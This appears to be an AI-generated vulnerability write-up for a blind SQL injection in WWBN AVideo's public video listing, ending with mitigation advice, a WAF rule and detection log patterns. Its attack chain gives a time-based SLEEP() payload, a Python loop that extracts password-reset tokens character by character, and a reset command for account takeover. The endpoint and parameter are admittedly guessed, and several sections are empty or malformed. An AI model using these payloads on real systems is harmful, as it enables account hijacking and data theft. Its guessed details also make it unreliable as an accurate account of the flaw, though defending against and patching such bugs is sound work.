CVE-2026-145040 — CWE-89
WWBN AVideo before 29.9.0 contains a blind sql injection vulnerability that allows unauthenticated attackers to infer database contents by supplying unsafe sort keys to the public video listing ORDER BY clause. Attackers can extract users.recoverPass password reset tokens to take over any account with a publicly listed video, including administrators.
WWBN AVideo before 29.9.0 contains a blind sql injection vulnerability that allows unauthenticated attackers to infer database contents by supplying unsafe sort keys to the public video listing ORDER BY clause. Attackers can extract users.recoverPass password reset tokens to take over any account with a publicly listed video, including administrators.
🎯 What is this vulnerability?
CVE‑2026‑145040 is a blind SQL injection (CWE‑89) that occurs in the public video‑listing endpoint of WWBN AVideo versions prior to 29.9.0.
The application builds an SQL query that includes an ORDER BY clause using a user‑supplied “sort key” (e.g., sort=title or sort=1).
The sort key is concatenated directly into the query string without any sanitisation, parameterisation, or whitelist validation. Because the endpoint is publicly reachable and does not require authentication, an unauthenticated attacker can supply arbitrary values that are injected into the ORDER BY clause.
The injection is blind – the application does not return SQL error messages or data directly. Instead, the attacker infers information by observing side‑effects such as response timing or HTTP status codes. The most valuable data that can be extracted is the users.recoverPass column, which stores password‑reset tokens. Once a token is known, the attacker can reset the associated account’s password and take over that account, including administrator accounts that have a publicly listed video.
Key points:
| Layer | What is missing | Result |
|---|---|---|
| Authentication | None – the endpoint is public | Unauthenticated access |
| Input validation | No sanitisation of the sort parameter | Arbitrary SQL injection |
| Query construction | Dynamic string concatenation | Blind SQL injection via ORDER BY |
| Error handling | No error suppression or sanitisation | No direct error feedback, but timing side‑channel is exploitable |
The CVSS vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H reflects that the vulnerability is network‑exposed, low‑complexity, no privileges, no user interaction, and can compromise confidentiality, integrity, and availability.
⚡ Attack Chain
Note: The exact endpoint (/videos,/public/videos, etc.) and parameter name (sort,order, etc.) are not specified in the CVE text. The following example uses a typical public listing route and asortquery‑parameter to illustrate the mechanics of the vulnerability.
1. Discovery & Reconnaissance
| Step | Technique | Tool / Command |
|---|---|---|
| Identify the target | Scan for WWBN AVideo installations | nmap -p80,443 -A <target> |
| Locate public video listing | Manual browsing or automated discovery | curl -I http://<target>/videos |
| Verify vulnerability | Send a benign sort value and observe response | curl -G http://<target>/videos --data-urlencode "sort=title" |
If the application returns a normal list of videos, the endpoint is likely the vulnerable one.
2. Exploitation
The attacker uses a time‑based blind injection to extract the first character of a password‑reset token. The payload injects a conditional SLEEP() that delays the response only when the guessed character matches the real one.
Example PoC (illustrative)
# Target: http://example.com/videos
# Parameter: sort
# Payload: 1 ORDER BY IF((SELECT SUBSTRING(users.recoverPass,1,1)='a'), SLEEP(5), 0)
curl -G "http://example.com/videos" \
--data-urlencode "sort=1 ORDER BY IF((SELECT SUBSTRING(users.recoverPass,1,1)='a'), SLEEP(5), 0)" \
-w "\nTime: %{time_total}s\n"If the response time is ~5 s, the first character is a; otherwise it is not.
The attacker repeats this for all 26 letters (and digits, symbols) to discover the first character, then moves to the second character, and so on, until the entire token is reconstructed.
Automated extraction script (Python‑like pseudocode)
import requests, time
BASE = "http://example.com/videos"
CHARSET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_"
def get_token():
token = ""
while True:
found = False
for c in CHARSET:
payload = f"1 ORDER BY IF((SELECT SUBSTRING(users.recoverPass,{len(token)+1},1)='{c}'), SLEEP(5), 0)"
r = requests.get(BASE, params={"sort": payload})
if r.elapsed.total_seconds() > 4.5: # threshold for sleep
token += c
found = True
print(f"Found char {len(token)}: {c}")
break
if not found:
break
return token
token = get_token()
print("Recovered token:", token)Once the full token is known, the attacker can reset the password:
# Assume the reset endpoint is /reset?token=...
NEW_PASS="P@ssw0rd123"
curl -X POST "http://example.com/reset?token=$token" \
-d "new_password=$NEW_PASS&confirm_password=$NEW_PASS"After the reset, the attacker logs in with the new password.
3. Post‑Exploitation
| Goal | Technique |
|---|---|
| Account takeover | Use the recovered token to reset the password of the target user (often an admin). |
| Privilege escalation | Once logged in as an admin, the attacker can create new admin users, modify site settings, or exfiltrate data. |
| Persistence | Create a new admin account or add the attacker’s user to the admin group. |
| Data exfiltration | Dump the users table or other sensitive tables via further SQL injection or by using the admin UI. |
Because the vulnerability allows extraction of any user’s reset token as long as that user has a publicly listed video, the attack surface is large: even low‑privilege users can be compromised, and the attacker can chain to higher‑privilege accounts.
🌍 Real World Impact
| Impact | Explanation |
|---|---|
| Confidentiality (C = H) | Password‑reset tokens are effectively *one‑time passwords*. Knowing them allows an attacker to reset any user’s password, thereby gaining full access to all user data. |
| Integrity (I = H) | Once the attacker has admin rights, they can modify or delete content, alter user roles, and tamper with configuration files. |
| Availability (A = H) | The attacker can delete videos, corrupt the database, or perform denial‑of‑service actions by flooding the endpoint with injection payloads. |
Practical consequences
- Immediate account takeover of any user with a public video, including administrators.
- Full site compromise if the attacker escalates privileges.
- Data loss or corruption if the attacker deletes or modifies records.
- Reputational damage due to loss of user trust and potential regulatory fines (GDPR, CCPA, etc.).
- All releases of WWBN AVideo prior to 29.9.0 are vulnerable.
- Upgrade to 29.9.0 or later (the patch removes the unsanitised
ORDER BYconstruction and uses parameterised queries).
🛡️ Remediation & Mitigation
1. Exact affected versions
2. Workarounds
| Mitigation | How to implement | ||||||||
|---|---|---|---|---|---|---|---|---|---|
| Disable public video listing | If the site does not need to expose videos publicly, remove or protect the /videos endpoint behind authentication or a firewall rule. | ||||||||
| Input validation / whitelisting | Restrict the sort parameter to a predefined set of column names (e.g., title, date, views). Reject any value that is not in the whitelist. | ||||||||
| Use parameterised queries | Refactor the code to build the ORDER BY clause using a safe mapping rather than string concatenation. | ||||||||
| WAF / ModSecurity rule | Deploy a rule that blocks suspicious ORDER BY injections. Example ModSecurity rule (illustrative):<br>SecRule REQUEST_URI "@beginsWith /videos" "phase:2,chain,block,msg:'SQLi ORDER BY'"\nSecRule ARGS:sort "@rx ORDER\s+BY\s+.*(SLEEP | IF | UNION | SELECT | FROM | WHERE | GROUP | HAVING | LIMIT)" |
3. Detection
| Indicator | Log pattern | How to spot it |
|---|---|---|
Repeated ORDER BY injections | GET /videos?sort=1 ORDER BY IF((SELECT ... | Look for ORDER BY in query strings with SQL keywords. |
| Time‑based delays | Response time > 5 s for identical requests | Monitor response latency; sudden spikes may indicate injection attempts. |
| Error logs | MySQL error messages (e.g., “SQL syntax”) | Even though the app is blind, some servers may log errors. |
Sample log snippet
2026-12-04 14:32:07 GET /videos?sort=1%20ORDER%20BY%20IF((SELECT%20SUBSTRING(users.recoverPass,1,1)='a'),SLEEP(5),0) 200 5.02sIf you see a pattern of such requests, investigate the endpoint and consider blocking or rate‑limiting.
4. Patch deployment
| Step | Action |
|---|---|
| Verify version | curl -s http://<target>/version or check the admin panel. |
| Backup | Take a full backup of the database and files. |
| Upgrade | Follow the official WWBN AVideo upgrade guide to 29.9.0 or later. |
| Test | Run the PoC against the upgraded instance to confirm the vulnerability is closed. |
| Monitor | Keep an eye on logs for any residual injection attempts. |
⚠️ Urgency
[🤖 CVE Professor AI Security Engine]